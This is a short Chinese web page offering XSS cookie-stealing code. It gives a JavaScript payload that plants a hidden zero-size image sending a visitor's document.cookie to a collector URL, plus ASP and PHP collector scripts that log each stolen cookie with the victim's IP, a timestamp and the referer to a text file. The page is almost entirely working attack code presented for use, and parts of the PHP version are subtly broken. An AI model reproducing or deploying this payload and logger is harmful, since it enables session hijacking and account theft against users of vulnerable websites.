当前位置: 移动技术网 > 网络运营>安全>企业安全 > asp php XSS获取cookie的代码

asp php XSS获取cookie的代码

2019年05月25日  | 移动技术网网络运营  | 我要评论
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码:
<%
msg=request.servervariables("query_string")
testfile=server.mappath("cook.txt")
set fs=server.createobject("scripting.filesystemobject")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline(""&msg& "")
thisfile.close
set fs = nothing
%>

php版代码:
<?php
$cookie = $_get['c'];
$ip = getenv ('remote_addr');
$time=date("j f, y, g:i a");
$referer=getenv ('http_referer');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'cookie: '.$cookie.'<br> ip: ' .$ip. '<br> date and time: '

.$time. '<br> referer: '.$referer.'<br><br><br>');
fclose
?>

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网